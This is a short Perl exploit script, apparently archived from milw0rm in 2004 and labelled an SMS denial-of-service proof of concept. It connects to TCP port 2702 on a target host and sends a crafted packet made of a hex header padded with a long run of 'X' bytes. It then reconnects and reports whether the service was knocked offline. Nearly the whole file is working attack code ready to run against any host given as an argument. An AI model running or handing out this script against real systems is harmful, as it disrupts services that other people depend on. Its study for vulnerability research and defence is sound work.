68 lines
No EOL
1.4 KiB
Perl
Executable file
68 lines
No EOL
1.4 KiB
Perl
Executable file
#!/usr/bin/perl
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#############################
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#
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# SMS DOS proof of concept and test code
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#
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#############################
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use Socket;
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use IO::Socket;
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if (@ARGV != 1)
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{
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print "usage: $0 <host or ip>\n";
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exit;
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}
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$host = shift(@ARGV);
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$hexmsg = converthex("5243483016004000524348455858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858");
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print "\nCreating socket for connection to: $host\n\n";
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my $sock1 = IO::Socket::INET->new (PeerAddr => $host, PeerPort => "(2702)", Proto
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=> "tcp") or die("Could not create socket: $!\n");
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$sock1->autoflush(1);
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print $sock1 "$hexmsg";
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while (<$sock1>)
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{
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print;
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}
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print "\nPacket sent to $host (please wait) ...\n";
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sleep(2);
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print "Verifying status of $host ...\n";
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sleep(2);
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my $sock2 = IO::Socket::INET->new (PeerAddr => $host, PeerPort => '(2702)', Proto
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=> 'tcp') or die("\nDOS was successful - $host is down ...\n");
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print "\nAttempt was not successful. $host is still alive and responding ...\n";
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close($sock1);
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close($sock2);
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#############################
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# End main code, start subs
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#############################
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sub converthex
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{
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local ($l) = @_;
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$l =~ s/([0-9a-f]{1,2})\s*/sprintf("%c",hex($1))/egi;
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return $l;
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}
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#############################
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# End code
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#############################
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# milw0rm.com [2004-07-24] |